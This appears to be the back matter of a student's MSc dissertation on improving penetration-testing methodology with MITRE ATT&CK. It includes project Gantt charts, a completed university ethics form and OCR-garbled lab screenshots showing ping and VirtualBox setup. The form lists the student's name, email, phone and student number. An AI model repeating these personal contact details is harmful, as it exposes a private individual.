By analyzing real-world attack scenarios and refining defense strategies, the investigations into attack methods provided deeper insights into security gaps. By re-evaluating the scope and tightening controls, the methodology became more adaptive and comprehensive. The optimization achieved the goal of a robust VAPT approach, increasing the accuracy of vulnerability identification, mitigation and providing a stronger security posture against evolving cyber threats, fulfilling the research goal of developing a robust and dynamic VAPT methodology.


[bookmark: _Toc174391407][bookmark: _Toc175413708]Conclusion
The evaluation of the five objectives demonstrates that the MITRE ATT&CK integration into VAPT methodology effectively achieved the aim of a more robust cybersecurity strategy. However, reflecting on the process, there are areas for improvement, such as refining the scope and enhancing real-time adaptability. By incorporating these insights, future assessments can be even more precise and comprehensive, ensuring superior security outcomes and more efficient resource utilization. Continuous learning and adaptation will be key in maintaining an effective defense strategy.
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[bookmark: _Toc175413711]PROJECT MANAGEMENT

A Gantt chart visually represents the timeline of a project, showing start and end dates for various tasks on how to do project management. It helps in scheduling, tracking progress, and managing time by providing a clear, cross-sectional view of task dependencies and durations. Advantages include improved planning, resource allocation, and the ability to monitor task progress against deadlines.

Old Gantt chart:
The Project Proposal phase includes 
Background Reading to build foundational knowledge and contextual understanding. 
Proposal Development to create a detailed plan
Review of Literature to gather relevant research. 
Each stage ensures a thorough preparation, aligning objectives with existing knowledge and guiding effective proposal formulation as in Table 1.

The next phase is designed as 
Research Design and Methodology: Outlines research framework and techniques, ensuring a structured approach. 
Implementation Phase: Executes the research plan, applying methods to gather data. Scope and Scanning: Identifies and assesses target areas for vulnerabilities. 
Exploit and Access: Tests security measures by attempting to breach identified vulnerabilities. 
Experimental Study: Conducts in-depth analysis to evaluate system defenses. Evaluation: Reviews effectiveness of testing and security measures. 
Re-scoping: Adjusts testing parameters based on findings. 
Analysis and Interpretation: Analyzes data and interprets results for actionable insights. 
Final Report Writing: Compiles comprehensive findings and recommendations. 
Report Submission: Finalizes and submits the report.

Old Gantt chart:

	Task Name
	Feb' 24
	Mar'24 
	Apr' 24
	May ' 24
	Jun' 24
	Jul' 24
	Aug' 24
	Sep' 24

	
	1
	2
	3
	4
	1
	2
	3
	4
	1
	2
	3
	4
	1
	2
	3
	4
	1
	2
	3
	4
	1
	2
	3
	4
	1
	2
	3
	4
	1
	2

	Background Reading
	 
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	

	Proposal Development
	
	
	 
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	

	Review of Literature
	 
	
	

	Research Design and Methodology
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	
	
	
	
	
	
	
	
	
	
	
	
	
	

	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	

	Implementation Phase
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	
	
	
	
	
	
	
	
	
	

	1. Scope and Scanning
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	
	
	
	
	
	
	
	
	
	
	
	

	2. Exploit and Access
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	
	
	
	
	
	
	
	
	
	

	Experimental Study
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	
	
	
	
	
	

	1. Evaluation
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	
	
	
	
	
	
	
	

	2. Re-scoping
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	
	
	
	
	
	

	Analysis and Interpretation
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	
	
	
	

	Final Report Writing
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	
	

	Report Submission
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Current Gantt chart:

	Task Name
	Feb' 24
	Mar'24 
	Apr' 24
	May ' 24
	Jun' 24
	Jul' 24
	Aug' 24

	
	1
	2
	3
	4
	1
	2
	3
	4
	1
	2
	3
	4
	1
	2
	3
	4
	1
	2
	3
	4
	1
	2
	3
	4
	1
	2
	3
	4

	Background Reading
	 
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	

	Proposal Development
	
	
	 
	
	
	
	
	
	
	
	
	
	
	
	
	
	

	Review of Literature
	 

	Experimental Setup
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	 
	 
	
	
	
	
	
	
	

	1. Scope and Scanning
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	 
	
	
	
	
	
	
	
	
	
	

	2. Exploitation Analysis
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	 
	
	
	
	
	
	
	

	Report - Literature Review/Research Process
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	 
	
	
	
	
	

	Report - Research Design
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	
	
	
	

	Implementation Phase
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	
	
	

	Testing & Evaluation
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	
	

	Final Report Writing
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	
	 
	

	Report Submission
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Current Gantt chart

Table 2 depicts the Current Gantt chart, the Project Proposal phase remains consistent, maintaining background reading and proposal development, ensuring foundational knowledge and thorough preparation for subsequent research.

The next phase is executed as 
Experimental Setup: Sets up and configures the testing environment.
Scope and Scanning: Assesses and evaluates vulnerabilities for completeness.
Exploitation Analysis: Analyzes and tests vulnerabilities to assess real-world impact.
Report - Literature Review and Research Process: Documents findings from literature and research processes. 
Report - Research Design: Details research methodology and design. 
Implementation Phase: Applies research findings to practical scenarios. 
Testing and Evaluation: Assesses effectiveness of security measures and tests. 
Final Report Writing: Compiles and organizes a detailed report of 15,000 words.
Report Submission: Finalizes and submits the comprehensive report.

The current Gantt chart enhances the project’s efficiency by restructuring phases for clarity and focus. It extends the report writing phase and incorporates dedicated times for literature review and research design, improving the thoroughness and quality of the 15,000-word report.
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APPLICATION FOR ETHICAL APPROVAL

In order for research to result in benefit and minimise risk of harm, it must be conducted ethically. A researcher may not be covered by the University’s insurance if ethical approval has not been obtained prior to commencement.

The University follows the OECD Frascati manual definition of research activity: “creative work undertaken on a systematic basis in order to increase the stock of knowledge, including knowledge of man, culture and society, and the use of this stock of knowledge to devise new applications”. As such this covers activities undertaken by members of staff, postgraduate research students, and both taught postgraduate and undergraduate students working on dissertations/projects.

The individual undertaking the research activity is known as the “principal researcher”.

Ethical approval is not required for routine audits, performance reviews, quality assurance studies, testing within normal educational requirements, and literary or artistic criticism.

Please read the notes for guidance before completing ALL sections of the form.

This form must be completed and approved prior to undertaking any research activity. Please see Checklist for details of process for different categories of application.  

Delete the Guidance Notes at the end of the form BEFORE submitting your application







SECTION A: About You (Principal Researcher)
	Full Name:
	SAKTHI SANGEETHA KANDASSWAMY

	Tick all boxes which apply:

	Member of staff:
	☐
	Honorary research fellow:
	☐

	Undergraduate Student
	☐	Taught Postgraduate Student
	☒	Postgraduate Research Student
	☐

,
	Institute/Academic Discipline/Centre:
	UWTSD CAMPUS, SWANSEA

	Campus:
	IQ BUILDING, KINGS ROAD, SWANSEA, SA1 8AL

	E-mail address:
	2236179@STUDENT.UWTSD.AC.UK

	Contact Telephone Number:
	0044-7435823626

	For students:

	Student Number:
	2236179

	Programme of Study:
	MSc Cybersecurity and Digital Forensics

	Director of Studies/Supervisor:
	Carlene E-A Campbell






SECTION B: Approval for Research Activity
	Has the research activity received approval in principle?
(please check the Guidance Notes as to the appropriate approval process for different levels of research by different categories of individual)
	YES
	☐	NO
	☒
	
	Date

	If Yes, please indicate source of approval (and date where known): Approval in principle must be obtained from the relevant source prior to seeking ethical approval
	Research Degrees Committee
	☐	

	
	Institute Research Committee
	☐	

	
	Other (write in)

	☐	



SECTION C:  Internal and External Ethical Guidance Materials
	Please list the core ethical guidance documents that have been referred to during the completion of this form (including any discipline-specific codes of research ethics, and also any specific ethical guidance relating to the proposed methodology).  Please tick to confirm that your research proposal adheres to these codes and guidelines.

	UWTSD Research Ethics & Integrity Code of Practice

	☒
	
UWTSD Research Data Management Policy
	☐

	

	☐



SECTION D: External Collaborative Research Activity
	Does the research activity involve collaborators outside of the University?
	YES
	☐
	NO
	☒

	
If Yes, please provide the name of the external organisation and name and contact details for the main contact person and confirmation this person has consented to their personal data being shared.as part of this collaboration.

	Institution
	


	Contact person name
	


	Contact person e-mail address

	

	Has this individual consented to sharing their details on this form?
	YES
	☐
	NO
	☒

	Are you in receipt of a KESS scholarship?
	YES
	☐
	NO
	☒

	Is your research externally funded
	YES
	☐
	NO
	☒

	Are you specifically employed to undertake this research in either a paid or voluntary capacity?
	Voluntary
	YES
	☐
	NO
	☒

	
	Employed
	YES
	☐
	NO
	☒

	Is the research being undertaken within an existing UWTSD Athrofa Professional Learning Partnership (APLP)
	If YES then the permission question below does not need to be answered.
	YES
	☐
	NO
	☒

	Permission to undertake the research has been provided by the partner organisation
	(If YES attach copy)
If NO the application cannot continue
	YES
	☐
	NO
	☒




Where research activity is carried out in collaboration with an external organisation
	Does this organisation have its own ethics approval system?
	YES
	☐
	NO
	☒

	
If Yes, please attach a copy of any final approval (or interim approval) from the organisation




SECTION E: Details of Research Activity
	Indicative title:
	Analysing Risk in Vulnerability Assessment and Penetration Testing Methodology


	Proposed start date:
	2 – FEB - 2024
	Proposed end date:
	28-AUG-2024

	Introduction to the Research (maximum 300 words)
Ensure that you write for a Non-Specialist Audience when outlining your response to the three points below:
· Purpose of Research Activity
· Proposed Research Question
· Aims of Research Activity
· Objectives of Research Activity
Demonstrate, briefly, how Existing Research has informed the proposed activity and explain
· What the research activity will add to the body of knowledge 
· How it addresses an area of importance. 

	Purpose of Research Activity
To enhance Vulnerability Assessment and Penetration Testing (VAPT) methodologies by integrating the MITRE ATT&CK framework, improving detection, response, and adaptability to sophisticate cyber threats.

(this box should expand as you type)

	Research Question
How can the integration of the MITRE ATT&CK framework into VAPT methodologies improve scope and overall effectiveness of security assessments against complex cyber threats?

(this box should expand as you type)

	Aims of Research Activity
The aim of this research is to develop and validate an optimized Vulnerability Assessment and Penetration Testing (VAPT) methodology by integrating the MITRE ATT&CK framework that enhances the scope and risk analysis process to improve the identification and mitigation of security vulnerabilities.


(this box should expand as you type)

	Objectives of Research Activity
To enhance VAPT methodologies, this research aims to redesign the process using the MITRE ATT&CK framework, analyze real-world attack scenarios, investigate attacker strategies, and evaluate network gaps to improve the scope and effectiveness of future penetration testing for comprehensive security.

(this box should expand as you type)

	Proposed methods (maximum 600 words)
Provide a brief summary of all the methods that may be used in the research activity, making it clear what specific techniques may be used. If methods other than those listed in this section are deemed appropriate later, additional ethical approval for those methods will be needed.

	
Redesign VAPT processes by integrating MITRE ATT&CK, using Metasploit and Nmap for simulating attacks, to improve detection, response, and security posture.
(this box should expand as you type)




	Location of research activity
Identify all locations where research activity will take place.

	
IQ BUILDING, KINGS ROAD, SWANSEA, SA1 8AL
(this box should expand as you type)

	Research activity outside of the UK
If research activity will take place overseas, you are responsible for ensuring that local ethical considerations are complied with and that the relevant permissions are sought. Specify any local guidelines (e.g. from local professional associations/learned societies/universities) that exist and whether these involve any ethical stipulations beyond those usual in the UK (provide details of any licenses or permissions required). Also specify whether there are any specific ethical issues raised by the local context in which the research activity is taking place, for example, particular cultural and/or legal sensitivities or vulnerabilities of participants.

	
NA

(this box should expand as you type)


	Use of documentation not in the public domain: Are any documents NOT publicly available?   

	NO
	☒

	
	YES
	☐

	If Yes, please provide details here of how you will gain access to specific documentation that is not in the public domain and that this is in accordance with prevailing data protection law of the country in question and England and Wales.



(this box should expand as you type)





SECTION F: Scope of Research Activity
	Will the research activity include:
	
YES
	
NO

	Use of a questionnaire or similar research instrument?
	☐
	☒

	Use of interviews?
	☐
	☒

	Use of diaries?
	☐
	☒

	Participant observation with their knowledge?
	☐
	☒

	Participant observation without their knowledge?
	☐
	☒

	Use of video or audio recording?
	☐
	☒

	Access to personal or confidential information without the participants’ specific consent?
	☐
	☒

	Administration of any questions, test stimuli, presentation that may be experienced as physically, mentally or emotionally harmful / offensive?
	☐
	☒

	Performance of any acts which may cause embarrassment or affect self-esteem?
	☐
	☒

	Investigation of participants involved in illegal activities?
	☐
	☒

	Use of procedures that involve deception?
	☐
	☒

	Administration of any substance, agent or placebo?
	☐
	☒

	Working with live vertebrate animals?
	☐
	☒

	Other primary data collection methods, please explain in this box
For example, ‘focus groups’. Please indicate the type of data collection method(s) in this box and tick the accompany box.
	☐
	☒

	Details of any other primary data collection method:



(this box should expand as you type)
	
	


If NO to every question, then the research activity is (ethically) low risk and may be exempt from some of the following sections (please refer to Guidance Notes).

If YES to any question, then no research activity should be undertaken until full ethical approval has been obtained. 



SECTION G: Intended Participants
	Who are the intended participants:
	
YES
	
NO

	Students or staff at the University?
	☐
	☒

	Adults (over the age of 18 and competent to give consent)?
	☐
	☒

	Vulnerable adults?
	☐
	☒

	Children and Young People under the age of 18? (Consent from Parent, Carer or Guardian will be required)
	☐
	☒

	Prisoners?
	☐
	☒

	Young offenders?
	☐
	☒

	Those who could be considered to have a particularly dependent relationship with the investigator or a gatekeeper?
	☐
	☒

	People engaged in illegal activities?
	☐
	☒

	Others (please identify specifically any group who may be unable to give consent) please indicate here and tick the appropriate box.

	☐
	☒

	Other – please indicate here:



(this box should expand as you type)
	
	



	Participant numbers and source
Provide an estimate of the expected number of participants. How will you identify participants and how will they be recruited? 

	How many participants are expected?

	
NA

(this box should expand as you type)

	Who will the participants be?

	
NA

(this box should expand as you type)

	How will you identify the participants?
	

NA
(this box should expand as you type)





	Information for participants:
	
YES
	NO
	
N/A

	Will you describe the main research procedures to participants in advance, so that they are informed about what to expect?
	☐
	☐
	☒

	Will you tell participants that their participation is voluntary?
	☐
	☐
	☒

	Will you obtain written consent for participation?
	☐
	☐
	☒

	Will you explain to participants that refusal to participate in the research will not affect their treatment or education (if relevant)?
	☐
	☐
	☒

	If the research is observational, will you ask participants for their consent to being observed?
	☐
	☐
	☒

	Will you tell participants that they may withdraw from the research at any time and for any reason?
	☐
	☐
	☒

	With questionnaires, will you give participants the option of omitting questions they do not want to answer?
	☐
	☐
	☒

	Will you tell participants that their data will be treated with full confidentiality and that, if published, it will not be identifiable as theirs?
	☐
	☐
	☒

	Will you debrief participants at the end of their participation, in a way appropriate to the type of research undertaken?
	☐
	☐
	☒

	If NO to any of above questions, please give an explanation 

	


(this box should expand as you type)



	Information for participants:
	
YES
	NO
	
N/A

	Will participants be paid?
	☐
	☐
	☒

	Is specialist electrical or other equipment to be used with participants?
	☐
	☐
	☒

	Are there any financial or other interests to the investigator or University arising from this study?
	☐
	☐
	☒

	Will the research activity involve deliberately misleading participants in any way, or the partial or full concealment of the specific study aims?
	☐
	☐
	☒

	If YES to any question, please provide full details 

	


(this box should expand as you type)





SECTION H: Anticipated Risks
	Outline any anticipated risks that may adversely affect any of the participants, the researchers and/or the University, and the steps that will be taken to address them. 

If you have completed a full risk assessment (for example as required by a laboratory, or external research collaborator) you may append that to this form.  

	Full risk assessment completed and appended? 

	Yes 
	☐

	[bookmark: _Toc174461018]
	No
	☒

	Risks to participants
For example: emotional distress, financial disclosure, physical harm, transfer of personal data, sensitive organisational information

	Risk to Participant:

NA

(this box should expand as you type)
	How will you mitigate the Risk to Participant

NA

(this box should expand as you type)

	If research activity may include sensitive, embarrassing or upsetting topics (e.g. sexual activity, drug use) or issues likely to disclose information requiring further action (e.g. criminal activity), give details of the procedures to deal with these issues, including any support/advice (e.g. helpline numbers) to be offered to participants. Note that where applicable, consent procedures should make it clear that if something potentially or actually illegal is discovered in the course of a project, it may need to be disclosed to the proper authorities

	
NA

(this box should expand as you type)

	Risks to investigator
For example: personal safety, physical harm, emotional distress, risk of accusation of harm/impropriety, conflict of interest

	Risk to Investigator:
Data Loss risk if there is any damage to the lab setup created in the University Lab machines
(this box should expand as you type)
	How will you mitigate the Risk to Investigator:
Take backup of the lab setup

 (this box should expand as you type)

	University/institutional risks
For example: adverse publicity, financial loss, data protection

	Risk to University:
Financial risk if there is damage to University lab machines

(this box should expand as you type)
	How will you mitigate the Risk to University:
Don’t overload the lab machine to cause damage


(this box should expand as you type)



	Disclosure and Barring Service

	If the research activity involves children or vulnerable adults, a Disclosure and Barring Service (DBS) certificate must be obtained before any contact with such participants.
	YES

	NO

	N/A


	Does your research require you to hold a current DBS Certificate?
	☐
	☐
	☒





SECTION I: Feedback, Consent and Confidentiality
	Feedback
What de-briefing and feedback will be provided to participants, how will this be done and when? 

	
NA

(this box should expand as you type)

	Informed consent
Describe the arrangements to inform potential participants, before providing consent, of what is involved in participating. Describe the arrangements for participants to provide full consent before data collection begins. If gaining consent in this way is inappropriate, explain how consent will be obtained and recorded in accordance with prevailing data protection legislation.

	
NA

(this box should expand as you type)

	Confidentiality / Anonymity
Set out how anonymity of participants and confidentiality will be ensured in any outputs. If anonymity is not being offered, explain why this is the case. 

	
NA

(this box should expand as you type)





SECTION J: Data Protection and Storage
In completing this section refer to the University’s Research Data Management Policy and the extensive resources on the University’s Research Data Management web pages (http://uwtsd.ac.uk/library/research-data-management/).
	Does the research activity involve personal data (as defined by the General Data Protection Regulation 2016 “GDPR” and the Data Protection Act 2018 “DPA”)?
	YES
	NO

	“Personal data” means any information relating to an identified or identifiable natural person (‘data subject’). An identifiable natural person is one who can be identified, directly or indirectly, in particular by reference to an identifier such as a name, an identification number, location data, an online identifier or to one or more factors specific to the physical, physiological, genetic, mental, economic, cultural or social identity of that natural person.
	☐
	NO

	If YES, provide a description of the data and explain why this data needs to be collected:

	


(this box should expand as you type)

	Does it involve special category data (as defined by the GDPR)?
	YES
	NO

	“Special category data” means sensitive personal data consisting of information as to the data subjects’ –
(a) racial or ethnic origin,
(b) political opinions,
(c ) religious beliefs or other beliefs of a similar nature,
(d) membership of a trade union (within the meaning of the Trade Union and Labour Relations (Consolidation) Act 1992),
(e) physical or mental health or condition,
(f) sexual life,
(g) genetics,
(h) biometric data (as used for ID purposes),
	
☐
	
NO

	If YES, provide a description of the special category data and explain why this data needs to be collected:

	


(this box should expand as you type)


	
Will the research activity involve storing personal data and/or special category data on one of the following:
	YES
	NO

	Manual files (i.e. in paper form)?
	☐
	☒

	University computers?
	☐
	☒

	Private company computers?
	☐
	☒

	Home or other personal computers?
	☐
	☒

	Laptop computers/ CDs/ Portable disk-drives/ memory sticks?
	☐
	☒

	“Cloud” storage or websites?
	☐
	☒

	Other – specify:

	☐
	☒

	For all stored data, explain the measures in place to ensure the security of the data collected, data confidentiality, including details of password protection, encryption, anonymisation and pseudonymisation:

	All data will be kept in password protected cloud storage on the University Office 365 system which
will not be shared. Audio/visual data will be transcribed to check accuracy of reporting. Any USB sticks used to store or transfer data will be password protected. 
(this box should expand as you type)

	All Data Storage

	Will the research activity involve any of the following activities:
	YES
	NO

	Electronic transfer of data in any form?
	☐
	☒

	Sharing of data with others at the University?
	☐
	☒

	Sharing of data with other organisations?
	☐
	☒

	Export of data outside the European Union or importing of data from outside the UK?
	☐
	☒

	Use of personal addresses, postcodes, faxes, emails or telephone numbers?
	☐
	☒

	Publication of data that might allow identification of individuals?
	☐
	☒

	Use of data management system?
	☐
	☒

	Data archiving?
	☐
	☒

	If YES to any question, please provide full details, explaining how this will be conducted in accordance with the GDPR and DPA (and/or any international equivalent):

	
(this box should expand as you type)

	List all who will have access to the data generated by the research activity:

	
NA

(this box should expand as you type)

	List who will have control of, and act as custodian(s) for, data generated by the research activity:

	
NA

(this box should expand as you type)

	Give details of data storage arrangements, including security measures in place to protect the data, where data will be stored, how long for, and in what form. Will data be archived – if so how and if not why not.  

	All data will be encrypted and kept in password protected cloud storage on the University Office 365 system which will not be shared. Any USB sticks used to store or transfer data will be password protected, and will be reformatted at the end of the project in order to destroy the data. The data will be stored until the completion of the project and then deleted. 

(this box should expand as you type)

	Please indicate if your data will be stored in the UWTSD Research Data Repository (see https://researchdata.uwtsd.ac.uk/ ).   If so please explain. (Most relevant to academic staff) 

	
NA

(this box should expand as you type)

	Confirm that you have read the UWTSD guidance on data management (see https://www.uwtsd.ac.uk/library/research-data-management/)

	YES
	☒

	
	NO
	☐

	Confirm that you are aware that you need to keep all data until after your research has completed or the end of your funding
	YES
	☒

	
	NO
	☐





SECTION K: Declaration
	The information which I have provided is correct and complete to the best of my knowledge. I have attempted to identify any risks and issues related to the research activity and acknowledge my obligations and the rights of the participants.

In submitting this application I hereby confirm that I undertake to ensure that the above named research activity will meet the University’s Research Ethics and Integrity Code of Practice which is published on the website: https://www.uwtsd.ac.uk/research/research-ethics/ 

	Signature of applicant:
	SAKTHI SANGEETHA KANDASWAMY
	[bookmark: _GoBack]
Date: 8/26/2024



For STUDENT Submissions:
	Director of Studies/Supervisor:
	
	Date:

	Signature:
	

	



For STAFF Submissions:
	Academic Director/ Assistant Dean:
	
	Date:

	Signature:
	

	



Checklist: Please complete the checklist below to ensure that you have completed the form according to the guidelines and attached any required documentation:
	☒
	I have read the guidance notes supplied before completing the form.

	☒
	I have completed ALL RELEVANT sections of the form in full.

	☐
	I confirm that the research activity has received approval in principle

	☐
	I have attached a copy of final/interim approval from external organisation (where appropriate)

	☐
	I have attached a full risk assessment (and have NOT completed Section H of this form) (where appropriate)  ONLY TICK IF YOU HAVE ATTACHED A FULL RISK ASSESSMENT

	☒
	I understand that it is my responsibility to ensure that the above named research activity will meet the University’s Research Ethics and Integrity Code of Practice.

	☒
	I understand that before commencing data collection all documents aimed at respondents (including information sheets, consent forms, questionnaires, interview schedules etc.) must be confirmed by the DoS/Supervisor, module tutor or Academic Director.

	☒

	I have deleted the guidance notes before submitting the PG2 for consideration






	RESEARCH STUDENTS AND STAFF ONLY
All communications relating to this application during its processing must be in writing and emailed to pgresearch@uwtsd.ac.uk , with the title ‘Ethical Approval’ followed by your name.
You will be informed of the outcome of your claim by email; therefore it is important that you check your University and personal email accounts regularly.



STUDENTS ON UNDERGRADUATE OR TAUGHT MASTERS PROGRAMMES should submit  this form (and receive the outcome) via systems explained to you by the supervisor/module leader.

This form is available electronically from the Academic Office web pages: https://www.uwtsd.ac.uk/academic-office/appendices-and-forms/ 



Application Process

All staff research projects and all research students must submit the Ethical Approval Form to the University Research Ethics Committee via the Academic Office (pgresearch@uwtsd.ac.uk).   Staff research directly in relation to personal study for taught undergraduate or Masters programmes should be submitted via the Institute procedures explained below.

Taught masters and taught undergraduate research Ethical Approval Forms are considered within Institutes.  Institutes will provide details of the specific processes for this.  Where the Ethical issues within any single ethical application are of particular concern the Institute will refer these to the University Research Ethics Committee.   Any student activity that involves the collection of primary data needs to undergo Ethical approval, this includes assignment work as well as dissertations.   



Notes for guidance in completion of this form

Section A:  About You
Please complete all relevant sections

Section B:  Approval for research activity
Research proposals must be approved in principle before applying for Ethical Approval.  The proposal approval only becomes final when the ethical approval is received.  

The process for proposal approval varies according the individual and programme of study:
· Research students, by application on form PG1 to the Research Degrees Committee
· Taught students by review of research proposal within Institutes (Institutes provide specific details of these processes)
· Staff, by agreement by the Academic Director/Assistant Dean

Section C:  External Ethical Guidance materials
Many discipline areas are required to operate with the discipline specific codes of research ethics (for example health, psychology, education etc.), any such codes must be listed and you must tick to confirm that you have consulted with these.

Section D:  External Collaborative Research Activity
Provide details of the external collaborative partners, where appropriate you might want to submit a copy of the external collaboration agreement with the Ethical Approval Form.  If the partner requires the research to be subject to its own internal Ethical approval process then please provide details of that process and a copy of any final (or interim) approvals received from the organisation.

Section E:  Details of Research Activity
Remember that the individuals reviewing this Ethical Approval Form may not have seen your research proposal, and also may not be experts in the specific area of your research.  The information provided should therefore be jargon free and clearly stated.
Indicative Title:  please use the same title as used on the research proposal.
Purpose:  the Ethical approval process will want to ensure that the methods you propose are adequate and appropriate to address the research aims and objectives.  Excessive additional data collection can be seen as unethical.
Proposed Methods:  the Ethical approval process seeks to ensure that you understand the methods that are intended, and that the implementation of those methods will be appropriate and without unnecessary impact on respondents.  This section must explain how the methods described will lead to the collection of necessary and sufficient data, but not excessive data.  Please be specific.
Location:  this needs to mention geographical location and also local situation (for example, within Local Authority Offices in Cardiff, using a private room but close to other individuals).  If you are collecting data within an organisational setting then you need to explain the permissions that you have obtained to do this.
Research Activity outside of the UK:  please complete this section in detail, and note any guidance you have received.  Also describe your own familiarity (or not) with the location that you will be utilising.

Section F:  Scope of Research Activity
Please tick ALL of the research activities that might be undertaken.   If any additional types of activity are intended then please add an extra box and describe these.
If you have answered no to all questions in F then sections G and J do not need to be completed.  Section H should be considered, and may be completed.  Signatures are still required in section K.

Section G:  Intended Participants
Please tick all categories that might apply.
Numbers & Source:  if you are using a series of different methods or research activities please list numbers for each stage/phase.  Be clear about how you will find respondents.   Will you use intermediaries, and if so how?  How will you ensure compliance with your sampling strategy?
Information for participants:  all participants should be appropriately informed about the research, what is expected of them and what will happen to the information that they provide.  The Ethical review process does not ask to see this documentation, but requires this to be reviewed and approved by the Director of Studies in the case of research students, the supervisor/module tutor in relation to students on taught programmes and the Academic Director/Assistant Dean in relation to staff research.

Section H:  Anticipate Risks
All research carries some level of risk.  The answers you provide to questions in this section will be reviewed to ensure that you have an appropriate understanding of the type of risks involved and how you can mitigate against these risks. If you have completed a full risk assessment, as required for example for laboratory work, field work, clinical tests, diving operations, or by a collaborative partner, you may append that to this form.  In that case, please tick the box indicating this has been provided.  You will not then be required to complete Section H.
Risk to participants   Think very carefully about how your actions/questions/discussions might affect the people you are involving as participants.  You might identify the risk as small but it would still be a risk.  Many types of question have the potential to make respondents less content with their life / job; you need to recognise and try to ameliorate any such effects
If these are business owners, time with you may reduce profit.  
In some locations physical risk is very real to both participants and yourself, please consider this.
Risk to you, the researcher   Think about where you will meet people, if there are any dangers involved in the location.  If you are meeting people as individuals think about using a public place.  In general do not visit people in their own homes or remote locations.  If you are talking to individuals about certain issues think about how their responses might affect you emotionally.  What about the risk of collecting insufficient data?
Risk to the University   When undertaking your research, you are acting as a member of the University (student or staff).  Professionalism is important, so it is important to be well organised and well prepared. Punctuality, clarity etc. are all part of this.  What will you do to ensure this?  You must ensure you do not harm the good name of the University in any way and do nothing to undermine the reputation of the research it conducts and sponsors.  Upholding high standards of conduct and integrity are vital in this regard. You must also conduct the research in such a way to minimise the potential for claims of negligence made against the University, its researchers and any collaborating individual or organisation. In this respect you should always comply with ethical, legal and professional frameworks, obligations and standards as required by statutory and regulatory authorities, as well as the university’s Research Integrity and Ethics Code of Practice.  Research misconduct in this respect can take many forms, including:
· fabrication: making up results or other outputs (eg, artefacts) and presenting them as if they were real
· falsification: manipulating research processes or changing or omitting data without good cause
· plagiarism: using other people’s material without giving proper credit
· failure to meet ethical, legal and professional obligations: for example failure to declare competing interests; misrepresentation of involvement or authorship; misrepresentation of interests; breach of confidentiality; lack of informed consent; misuse of personal data; and abuse of research subjects or material
· improper dealing with allegations of misconduct: failing to address possible infringements such as attempts to cover up misconduct and reprisals against whistle-blowers

Adverse Outcomes.  Think carefully about the possibilities, and cover here

Section I:  Feedback, Consent and Confidentiality
Feedback to participants:  outline your approach.   Will interview transcripts be shared with respondents to check accuracy?  Will summaries of questionnaire analysis be made available to respondents in some way?   Will an overview report be provided?  How and when?
Informed consent:   Draft letter / e-mail / or heading (or footer) section of questionnaire must be approved by DoS/supervisor (if research student), supervisor/module tutor if taught student, or Academic Director / Assistant Dean if a member of staff.
Confidentiality/Anonymity.  Explain clearly how you will ensure confidentiality and anonymity.

Section J:  Data Protection and Storage
Before completing this section it is necessary to read the University’s Research Data Management information.   The questions that follow are designed to ensure compliance with the Data Protection Act as well as established research protocols.

Many research activities will involve electronic transfer of data and use of data management systems in the summarisation and analysis of data.  You will need to explain these in relation to compliance with the Data Protection Act.
Think carefully about who will have access to your data, this will include supervisors and examiners. Also that a thesis will be made available via the University library and the British Library system.  If you are seeking an access bar for a period of time after completion then mention it here.  If you will provide a copy of your findings, or intend to give a presentation, to a facilitating/ supporting/accessing organisation then explain that in this section.  But also think about the general principle of data sharing, as explained in the Research Data Management information.
In terms of storage of data please ensure security, and also mitigate against loss of data.

Section K:  Declaration
Ensure the appropriate countersignatures have been provided
Look carefully at the checklist and ensure that you comply with and tick all that are relevant to your research.
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sfadninenetasploitable: ™9
sfadninenetasploitable:™$ ping 192.168.1.100
PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.
4 bytes from 192.168.1.100: icmp_seq=1 tt1=64 time=0.008 ms
4 bytes from 192.168.1.100: icmp_seq=2 tt1=64 time=0.048 ms

-~ 192.168.1.100 ping statistics -——-

b packets transmitted, 2 received, 0z packet loss, time 999ns
rtt nin/avg/max/mdev = 0.008,0.028/0.048/0.020 ms
sfadninenetasploitable:™$ ping 192.168.56.102

P ING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.

b4 bytes from 192.168.56. icmp_seq=1 tt1=64 time

4 bytes from 192.168.56.102: icmp_seq=2 tt1=64 time

-- 192.168.56.102 ping statistics

b packets transmitted, 2 received, 0z packet loss, time 999ms
ktt min/avg/max/ndev = 0.008,0.008,0.009,0.003 ns
sfadnin@netasploitable

@8] @race
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Create Virtual Machine [

Virtual machine Name and Operating System

Please choose a descriptive name and destiation folder for the new virtual machine, The name you choose wil be:
used throughouit Vi tualBox to dentiy this machine. Additonaly, you can select an 1SO image which may be used
to instal the guest operating system,

Name: [kl sox l¢
Folder: || C:\sers 52236 179\irtusbo Vs ]
150 nage: [ <ot sokcted> -]

Type: [Liux =

Version:|Orade Linux (64511 %

attended Instal

